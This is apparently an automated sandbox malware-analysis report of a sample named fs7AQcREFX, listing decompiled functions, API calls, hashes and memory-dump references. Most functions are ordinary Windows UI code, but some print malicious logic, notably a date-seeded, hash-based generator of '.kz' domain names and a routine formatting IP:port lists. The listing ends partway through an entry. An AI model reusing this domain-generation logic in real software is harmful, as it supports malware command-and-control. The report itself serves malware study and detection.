Instruction Fuzzy Hash: F101B171614B40AAE73597789C44F93A7D86F87718F04890CEAD78A2D1C7F8F841CB20

Uniqueness

Uniqueness Score: -1.00%

Function 000FC5D0 Relevance: 6.0, APIs: 4, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E000FC5D0(signed int __eax, void** __edi, void* _a4) {
				intOrPtr _v8;
				signed int _v12;
				void* _v16;
				void* _t12;
				void* _t14;
				signed int _t18;
				char* _t20;
				void** _t23;
				signed int _t24;

				_t23 = __edi;
				_t24 = __eax;
				_t18 = 0;
				_t12 = GlobalLock(_a4);
				if(_t12 != 0) {
					_t20 = _t12 + ( *(_t12 + 2) & 0x0000ffff);
					_t14 =  *__edi;
					if(_t14 != 0) {
						ClosePrinter(_t14);
						 *__edi = 0;
					}
					_v12 = _t24;
					asm("sbb esi, esi");
					_v16 = 0;
					_v8 = 8;
					OpenPrinterA(_t20, _t23,  ~_t24 &  &_v16);
					_t18 = _t20 & 0xffffff00 |  *_t23 != 0x00000000;
					GlobalUnlock(_a4);
				}
				return _t18;
			}

0x000fc5d0
0x000fc5d8
0x000fc5de
0x000fc5e0
0x000fc5e8
0x000fc5ee
0x000fc5f0
0x000fc5f4
0x000fc5f7
0x000fc5fd
0x000fc5fd
0x000fc603
0x000fc608
0x000fc612
0x000fc619
0x000fc620
0x000fc62d
0x000fc630
0x000fc630
0x000fc63d

APIs

GlobalLock.KERNEL32 ref: 000FC5E0
ClosePrinter.WINSPOOL.DRV(00000000,?,?,?,?), ref: 000FC5F7
OpenPrinterA.WINSPOOL.DRV(?,?,?), ref: 000FC620
GlobalUnlock.KERNEL32(?), ref: 000FC630

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Global$CloseLockOpenPrinterPrinter.Unlock
String ID:
API String ID: 2952119977-0
Opcode ID: 70921a1b78205f40bb25b74502d9433f4d87da7cc51139b3cec17e3b76f32ffc
Instruction ID: 7c06e0f5779ad19719ec095cb6bc24d9a3ce927f175a165cf5c912422a61e2cb
Opcode Fuzzy Hash: 70921a1b78205f40bb25b74502d9433f4d87da7cc51139b3cec17e3b76f32ffc
Instruction Fuzzy Hash: 40018CB1940229ABE7109F69ED49BDBBBFCEB08700F008215E804D7640EBB48994CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 001065FC Relevance: 6.0, APIs: 4, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E001065FC(void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				intOrPtr _v0;
				char* _v8;
				char _v20;
				void* _t11;
				signed int _t12;
				void* _t16;
				void* _t28;
				void* _t29;
				void* _t31;

				_t31 = __esi;
				_t29 = __edi;
				_t28 = __edx;
				while(1) {
					_t11 = E00105E1C(_t28, _t29, _t31, _a4);
					if(_t11 != 0) {
						break;
					}
					_t12 = E00108912(_t11, _a4);
					__eflags = _t12;
					if(_t12 == 0) {
						__eflags =  *0x170c9c & 0x00000001;
						if(( *0x170c9c & 0x00000001) == 0) {
							 *0x170c9c =  *0x170c9c | 0x00000001;
							__eflags =  *0x170c9c;
							_push(1);
							_v8 = "bad allocation";
							E00109B08(0x170c90,  &_v8);
							 *0x170c90 = 0x110558;
							E0010623D( *0x170c9c, 0x10fd87);
						}
						E00109C1E( &_v20, 0x170c90);
						_v20 = 0x110558;
						E00109C43( &_v20, 0x11445c);
						asm("int3");
						__eflags =  *0x170ca8 - 1;
						if(__eflags == 0) {
							E001088CA(_t28, __eflags);
						}
						_t16 = E0010871B(_t28, _v0);
						E00108435(0xff);
						return _t16;
					} else {
						continue;
					}
					L10:
				}
				return _t11;
				goto L10;
			}

0x001065fc
0x001065fc
0x001065fc
0x00106613
0x00106616
0x0010661e
0x00000000
0x00000000
0x00106609
0x0010660f
0x00106611
0x00106622
0x00106633
0x00106635
0x00106635
0x0010663c
0x00106644
0x0010664b
0x00106655
0x0010665b
0x00106660
0x00106665
0x00106673
0x00106676
0x0010667b
0x00106681
0x00106688
0x0010668a
0x0010668a
0x00106692
0x0010669c
0x001066a4
0x00000000
0x00000000
0x00000000
0x00000000
0x00106611
0x00106621
0x00000000

APIs

_malloc.LIBCMT ref: 00106616

Part of subcall function 00105E1C: __FF_MSGBANNER.LIBCMT ref: 00105E35
Part of subcall function 00105E1C: __NMSG_WRITE.LIBCMT ref: 00105E3C
Part of subcall function 00105E1C: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,00109160,?,00000001,?,?,0010A609,00000018,00114600,0000000C,0010A699), ref: 00105E61

std::exception::exception.LIBCMT ref: 0010664B
std::exception::exception.LIBCMT ref: 00106665
__CxxThrowException@8.LIBCMT ref: 00106676

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID:
API String ID: 615853336-0
Opcode ID: e1d4d154a7166ac55807486e8bb8c9b654bc011dbc24a74049c7302ad44b3200
Instruction ID: c2eaddab86055450b7025e4391422b48781f1a94a217875b1c3bb3db1e83d16c
Opcode Fuzzy Hash: e1d4d154a7166ac55807486e8bb8c9b654bc011dbc24a74049c7302ad44b3200
Instruction Fuzzy Hash: D6F02830900209AADB06FB54ED12EAE7AB9AB54314F240168F488E64D2CFF18BD0CF81

Uniqueness

Uniqueness Score: -1.00%

Function 000FEE60 Relevance: 6.0, APIs: 4, Instructions: 37
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000FEE60(intOrPtr __eax, intOrPtr _a4) {
				void* __ecx;
				void* __esi;
				long _t16;
				intOrPtr _t26;

				_t26 = __eax;
				if(GetFocus() !=  *(_t26 + 4)) {
					if(( *(_t26 + 0x58) & 0x00000004) != 0 &&  *((intOrPtr*)(_t26 + 0xac)) == 0) {
						 *((intOrPtr*)(_t26 + 0xac)) = GetFocus();
					}
					SetFocus( *(_t26 + 4));
				}
				_t16 = SendMessageA( *(_t26 + 4), 0x419,  *(_a4 + 0xc), 0);
				 *(_t26 + 0x84) =  *(_t26 + 0x84) & 0x000000cf;
				E00100C90(_t16, _t26, 1);
				return 0;
			}

0x000fee6c
0x000fee73
0x000fee79
0x000fee86
0x000fee86
0x000fee90
0x000fee90
0x000feea8
0x000feeae
0x000feeb9
0x000feec4

APIs

GetFocus.USER32(?,?,?,?,000FBFB0,?), ref: 000FEE6E
GetFocus.USER32 ref: 000FEE84
SetFocus.USER32(?), ref: 000FEE90
SendMessageA.USER32(?,00000419,?,00000000), ref: 000FEEA8

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Focus$MessageSend
String ID:
API String ID: 733279069-0
Opcode ID: ff4d11c2cc30bc26107a82fbdca0c01f5e9dca688f50a57e78ed214c69b50340
Instruction ID: 0f4c85c068ca22fffe38a83430e5ce47344e12bb5014cf4c1f3861a084e83087
Opcode Fuzzy Hash: ff4d11c2cc30bc26107a82fbdca0c01f5e9dca688f50a57e78ed214c69b50340
Instruction Fuzzy Hash: CBF0C2356043489FD321DB75DD49B67BBD8AB45720F01881DEA95C7691C6B1B880CB61

Uniqueness

Uniqueness Score: -1.00%

Function 000F9740 Relevance: 6.0, APIs: 4, Instructions: 28
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000F9740(void* __esi, void* __eflags) {
				struct HWND__* _t8;
				void* _t14;
				void* _t20;

				_t20 = __eflags;
				DestroyWindow( *(__esi + 0x4c8));
				_t8 =  *(__esi + 0x524);
				 *(__esi + 0x2c) = _t8;
				ShowWindow(_t8, 5);
				SendMessageA( *(__esi + 0x24), 0x423, 1, 1);
				SendMessageA( *(__esi + 0x24), 0x423, 2, 0);
				E000FA7D0(_t14, __esi, _t20, 1);
				return 0;
			}

0x000f9740
0x000f9748
0x000f974e
0x000f9757
0x000f975a
0x000f9773
0x000f9782
0x000f9788
0x000f9790

APIs

DestroyWindow.USER32(?,?,000F7A4C), ref: 000F9748
ShowWindow.USER32(?,00000005,?,000F7A4C), ref: 000F975A
SendMessageA.USER32(?,00000423,00000001,00000001), ref: 000F9773
SendMessageA.USER32(?,00000423,00000002,00000000), ref: 000F9782

Part of subcall function 000FA7D0: GetClientRect.USER32 ref: 000FA807
Part of subcall function 000FA7D0: SetWindowPos.USER32(00000000,00000000,00000000,?,00000000,?,00000014,?), ref: 000FA83E

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Window$MessageSend$ClientDestroyRectShow
String ID:
API String ID: 1904804273-0
Opcode ID: 6c9c22c9d721322d3796f645f6f274ced4a8dbbb563c4fc3fb0dc0d997e508db
Instruction ID: f07dbc1d39167f032417df0e82d79538df32978fa7c6afccd791baae72eb691e
Opcode Fuzzy Hash: 6c9c22c9d721322d3796f645f6f274ced4a8dbbb563c4fc3fb0dc0d997e508db
Instruction Fuzzy Hash: 6DF030717507006BE624AB75DD4AF8773E5AB8CB01F008909F3069B6C0C5F4F4818F14

Uniqueness

Uniqueness Score: -1.00%

Function 040092E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88
stringtimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040092E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				struct _SYSTEMTIME _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v172;
				void* _t46;
				intOrPtr _t50;
				void* _t83;
				void* _t84;
				void* _t86;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0) {
					GetLocalTime( &_v28);
					_t46 = E040097E0(_v28.wMonth & 0x0000ffff, _v28.wYear & 0x0000ffff, _v28.wMonth & 0x0000ffff, _v28.wDay & 0x0000ffff);
					_t84 = _t83 + 0xc;
					_v12 = _t46 + _a12;
					_v32 = 0;
					while(_v32 < _a8) {
						E04007D20( &_v172,  &_v172, 0, 0x80);
						_t50 = E04008BB0( &_v12, 4,  &_v172, 0x80);
						_t86 = _t84 + 0x1c;
						_v40 = _t50;
						if(_v40 <= 0) {
							_v12 = _v32 * 7 + _v12;
						} else {
							_v12 = _v172;
						}
						_v36 = _v12 % 4 + 9;
						E04009650( &_v172, _v40, _v32 * 0x28 + _a4, _v36);
						_t84 = _t86 + 0x10;
						lstrcatA(_v32 * 0x28 + _a4, ".kz");
						_v12 = _v12 + 1;
						_v8 = _v8 + 1;
						_v32 = _v32 + 1;
					}
				}
				return _v8;
			}

0x040092e9
0x040092f4
0x04009308
0x0400931d
0x04009322
0x04009328
0x0400932b
0x0400933d
0x04009357
0x04009371
0x04009376
0x04009379
0x04009380
0x04009396
0x04009382
0x04009388
0x04009388
0x040093a8
0x040093c4
0x040093c9
0x040093db
0x040093e7
0x040093f0
0x0400933a
0x0400933a
0x0400933d
0x040093fe

APIs

GetLocalTime.KERNEL32(?), ref: 04009308

Part of subcall function 04008BB0: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008BFF
Part of subcall function 04008BB0: GetLastError.KERNEL32 ref: 04008C09
Part of subcall function 04008BB0: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008C38
Part of subcall function 04008BB0: CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 04008C59
Part of subcall function 04008BB0: CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 04008C71
Part of subcall function 04008BB0: CryptGetHashParam.ADVAPI32(00000000,00000004,00000000,00000004,00000000), ref: 04008C99
Part of subcall function 04008BB0: CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 04008CC1
Part of subcall function 04008BB0: CryptDestroyHash.ADVAPI32(00000000), ref: 04008CD5
Part of subcall function 04008BB0: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008CE1

lstrcatA.KERNEL32(00000000,.kz), ref: 040093DB

Strings

.kz, xrefs: 040093CC

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Crypt$Hash$Context$AcquireParam$CreateDataDestroyErrorLastLocalReleaseTimelstrcat
String ID: .kz
API String ID: 2740484991-4216035510
Opcode ID: 28f090440165364d74cfd4a48749ec745bc8846a55d0f1667de3e46dcaf07841
Instruction ID: bb0d42d70b93f9fb2e2ab601979b3322a165a8cda29c6817b22e5740edda4972
Opcode Fuzzy Hash: 28f090440165364d74cfd4a48749ec745bc8846a55d0f1667de3e46dcaf07841
Instruction Fuzzy Hash: 2D310AB1E00209EBEF08DF94C885BEEB7B5EF58304F10C159E515B7281E678AA85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 000FFCC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71
windowregistryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000FFCC0(void* __ebx, int* __edi, intOrPtr* __esi, intOrPtr _a4, char _a8) {
				intOrPtr _t11;
				void* _t18;
				intOrPtr _t25;
				void* _t28;
				int* _t34;
				intOrPtr* _t35;
				void* _t40;

				_t35 = __esi;
				_t34 = __edi;
				_t28 = __ebx;
				if(__ebx == 2) {
					_t25 =  *__esi;
					if(_t25 != 0) {
						SendMessageA( *(_t25 + 4), 0x10, 0, 0);
					}
					 *_t34 = 0;
				}
				if(( *0x1719b0 & 0x00000001) == 0) {
					 *0x1719b0 =  *0x1719b0 | 0x00000001;
					 *0x1719ac = RegisterWindowMessageA("commdlg_FindReplace");
				}
				_t40 = _t28 -  *0x1719ac; // 0x0
				if(_t40 != 0) {
					if(_t28 != 0x111) {
						L19:
						return 0;
					} else {
						_t11 = _a4;
						if(0xe124 != _t11) {
							if(0xe128 != _t11) {
								if(0xe129 != _t11) {
									goto L19;
								} else {
									_a8 = 1;
									 *_t34 = E00101920(_t35,  &_a8);
									if(_a8 != 0) {
										goto L8;
									} else {
										goto L19;
									}
								}
							} else {
								 *_t34 = E001018A0(_t35);
								return 1;
							}
						} else {
							if(_t35 == 0) {
								_t18 = 0;
							} else {
								_t18 = _t35 - 0x24;
							}
							E00102760(_t18 + 0x24, 1);
							 *_t34 = 0;
							return 1;
						}
					}
				} else {
					 *_t34 = E001017D0(_a8, _t35);
					L8:
					return 1;
				}
			}

0x000ffcc0
0x000ffcc0
0x000ffcc0
0x000ffcc6
0x000ffcc8
0x000ffccc
0x000ffcd8
0x000ffcd8
0x000ffcde
0x000ffcde
0x000ffceb
0x000ffced
0x000ffcff
0x000ffcff
0x000ffd04
0x000ffd0a
0x000ffd27
0x000ffd9f
0x000ffda2
0x000ffd29
0x000ffd29
0x000ffd34
0x000ffd63
0x000ffd7f
0x00000000
0x000ffd81
0x000ffd87
0x000ffd97
0x000ffd99
0x00000000
0x00000000
0x00000000
0x00000000
0x000ffd99
0x000ffd65
0x000ffd6c
0x000ffd74
0x000ffd74
0x000ffd36
0x000ffd38
0x000ffd3f
0x000ffd3a
0x000ffd3a
0x000ffd3a
0x000ffd47
0x000ffd4c
0x000ffd58
0x000ffd58
0x000ffd34
0x000ffd0c
0x000ffd16
0x000ffd18
0x000ffd1e
0x000ffd1e

APIs

SendMessageA.USER32(?,00000010,00000000,00000000), ref: 000FFCD8

Part of subcall function 001018A0: GetKeyState.USER32(00000010), ref: 001018B1

RegisterWindowMessageA.USER32(commdlg_FindReplace,?,000F6D4C,?,?,?), ref: 000FFCF9

Strings

commdlg_FindReplace, xrefs: 000FFCF4

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Message$RegisterSendStateWindow
String ID: commdlg_FindReplace
API String ID: 3664076641-2356178745
Opcode ID: af8e38f67c192ec8b8c21afabcb2bd776f1ef28e8fc463d88611ca9a5dd296b0
Instruction ID: 89837df76a5b21b97f8db241c4b44e87b0ac7e90d3a4c3ca792c0aca3cf35b58
Opcode Fuzzy Hash: af8e38f67c192ec8b8c21afabcb2bd776f1ef28e8fc463d88611ca9a5dd296b0
Instruction Fuzzy Hash: 8221D23160020E5BEB60EB54D840BBA77E5EF24304F508425FA848FA80D3B699D0DB50

Uniqueness

Uniqueness Score: -1.00%

Function 02552430 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00000040,00000004,?), ref: 02552468
VirtualProtect.KERNEL32(00000000,000000F8,00000004,?), ref: 025524B2

Strings

@, xrefs: 02552453

Memory Dump Source

Source File: 00000000.00000002.719923860.0000000002551000.00000020.00001000.00020000.00000000.sdmp, Offset: 02551000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2551000_fs7AQcREFX.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: b16394fa20b53696b95bf9fd782d0f4f81de62aef76d87a5cc9a7adc94fcb204
Instruction ID: 07a3b8df6676385e53dd5315d9c9554d12e0610a63641dbce70cdddeeb0f0918
Opcode Fuzzy Hash: b16394fa20b53696b95bf9fd782d0f4f81de62aef76d87a5cc9a7adc94fcb204
Instruction Fuzzy Hash: 8F21EAB0D00219EFDF14CF94C994BAEBBB5BF44304F10859ADD09AB240D774AB44DB59

Uniqueness

Uniqueness Score: -1.00%

Function 040078D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E040078D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v5;
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _t31;
				void* _t46;

				_v5 = 0;
				if(_a4 != 0 && _a8 > 0 && _a12 != 0 && _a16 >= _a8) {
					_v16 = 0;
					while(_v16 < _a8) {
						_t31 = E04007B70( &_v12, _v16 * 6 + _a4, 4);
						_push(_v12);
						L0400B1EC();
						_v20 = _t31;
						wnsprintfA(_v16 * 0x28 + _a12, 0x28, "%s:%u", _v20,  *(_a4 + 4 + _v16 * 6) & 0x0000ffff);
						_t46 = _t46 + 0x20;
						_v16 = _v16 + 1;
					}
					_v5 = 1;
				}
				return _v5;
			}

0x040078d6
0x040078de
0x040078f8
0x0400790a
0x04007922
0x0400792d
0x0400792e
0x04007933
0x0400795a
0x04007960
0x04007907
0x04007907
0x04007965
0x04007965
0x0400796f

APIs

inet_ntoa.WS2_32(00000000), ref: 0400792E
wnsprintfA.SHLWAPI ref: 0400795A

Strings

%s:%u, xrefs: 04007949

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: inet_ntoawnsprintf
String ID: %s:%u
API String ID: 890441721-1474915593
Opcode ID: 45e21c9532a10fe3660936149e330ed9fd96ba08dfcacbd0c7ca049c9e07423d
Instruction ID: 46ead0e7315176c8e7c3a96679b7c8ac73bfa04a13e8ca702a559205f2d732b6
Opcode Fuzzy Hash: 45e21c9532a10fe3660936149e330ed9fd96ba08dfcacbd0c7ca049c9e07423d
Instruction Fuzzy Hash: 05115B71A04208ABEB08CF94C995BEDBBB4EB50308F04C29DE915BB280D379F645CB91

Uniqueness

Uniqueness Score: -1.00%

Function 000FD80E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54
windowCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E000FD80E(int __ebx, intOrPtr* __esi) {
				void* __edi;
				intOrPtr _t33;
				int _t51;
				int _t55;
				intOrPtr _t56;
				intOrPtr _t57;
				void* _t70;
				intOrPtr _t71;
				intOrPtr* _t72;
				signed int _t73;
				void* _t75;
				void* _t76;

				_t72 = __esi;
				_t55 = __ebx;
				do {
					_t57 =  *((intOrPtr*)(_t73 - 0x228));
					if( *((intOrPtr*)(_t72 + 0x118)) != 0xffffffff) {
						 *((char*)(_t73 - 0x110)) = 0;
						E00106820(_t73 - 0x10f, 0, 0x103);
						_t33 =  *((intOrPtr*)(_t73 - 0x228));
						_t76 = _t75 + 0xc;
						if(_t33 < 0 || _t33 >=  *((intOrPtr*)(_t72 + 4))) {
							goto L11;
						} else {
							E000F6040( *_t72 + _t55, _t73 - 0x110,  *((intOrPtr*)(_t72 + 0x118)));
							_push(_t73 - 0x110);
							E000F4980(_t73 - 0x220, "&%i %s", _t70);
							_t75 = _t76 + 0x14;
							goto L9;
						}
					} else {
						if(_t57 < 0 || _t57 >=  *((intOrPtr*)(_t72 + 4))) {
							L11:
							RaiseException(0xc000008c, 1, 0, 0);
							InsertMenuA( *(_t72 + 0x10), _t55, 0x400, 0xe110, _t72 + 0x14);
							_t65 =  *(_t72 + 0x10);
							EnableMenuItem( *(_t72 + 0x10), 0xe110, 1);
							 *(_t73 - 0x224) = 1;
						} else {
							_push( *_t72 + _t55);
							E000F4980(_t73 - 0x220, "&%i %s", _t70);
							_t75 = _t75 + 0xc;
							goto L9;
						}
					}
					L13:
					DeleteMenu( *(_t72 + 0x10),  *(_t73 - 0x224) + _t55, 0x400);
					_pop(_t71);
					_pop(_t56);
					return E001059E6(1, _t56,  *(_t73 - 4) ^ _t73, _t65, _t71, _t72);
					L9:
					_t15 = _t70 + 0xe10f; // 0xe111
					_t65 =  *(_t72 + 0x10);
					InsertMenuA( *(_t72 + 0x10),  *(_t73 - 0x22c) + _t70 - 1, 0x400, _t15, _t73 - 0x220);
					 *((intOrPtr*)(_t73 - 0x228)) =  *((intOrPtr*)(_t73 - 0x228)) - 1;
					_t51 =  *(_t73 - 0x224) + 1;
					_t55 = _t55 - 0x104;
					_t70 = _t70 + 1;
					 *(_t73 - 0x224) = _t51;
				} while (_t51 <  *((intOrPtr*)(_t73 - 0x230)));
				_t55 =  *(_t73 - 0x22c);
				goto L13;
			}

0x000fd80e
0x000fd80e
0x000fd810
0x000fd810
0x000fd81d
0x000fd859
0x000fd860
0x000fd865
0x000fd86b
0x000fd870
0x00000000
0x000fd87f
0x000fd891
0x000fd89c
0x000fd8a9
0x000fd8ae
0x00000000
0x000fd8ae
0x000fd81f
0x000fd821
0x000fd907
0x000fd912
0x000fd92b
0x000fd931
0x000fd93c
0x000fd942
0x000fd830
0x000fd834
0x000fd841
0x000fd846
0x00000000
0x000fd846
0x000fd821
0x000fd94c
0x000fd95e
0x000fd967
0x000fd96f
0x000fd978
0x000fd8b1
0x000fd8be
0x000fd8c5
0x000fd8d3
0x000fd8df
0x000fd8e5
0x000fd8e6
0x000fd8ec
0x000fd8ed
0x000fd8f3
0x000fd8ff
0x00000000

APIs

_memset.LIBCMT ref: 000FD860
InsertMenuA.USER32(?,?,00000400,0000E110,00000000), ref: 000FD8D3
RaiseException.KERNEL32(C000008C,00000001,00000000,00000000), ref: 000FD912
InsertMenuA.USER32(?,00000000,00000400,0000E110,?), ref: 000FD92B
EnableMenuItem.USER32 ref: 000FD93C

Part of subcall function 000F4980: wvsprintfA.USER32(?,?,?), ref: 000F498C

DeleteMenu.USER32(?,00000001,00000400), ref: 000FD95E

Strings

&%i %s, xrefs: 000FD836

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Menu$Insert$DeleteEnableExceptionItemRaise_memsetwvsprintf
String ID: &%i %s
API String ID: 3482434871-915073524
Opcode ID: 0459495a31b1b860f5dd0a44b17909ad2424c8829f0c9346e38965902d331c32
Instruction ID: a35f7620c3001701e563f6c31908b31ccbdde2bb6d32032969c9f9e269cddd90
Opcode Fuzzy Hash: 0459495a31b1b860f5dd0a44b17909ad2424c8829f0c9346e38965902d331c32
Instruction Fuzzy Hash: 3E118271A00209ABCB24CF64ECC9EF9B3B5FB48314F10469DE65A97681DB70AE85DF50

Uniqueness

Uniqueness Score: -1.00%

Function 000F8400 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45
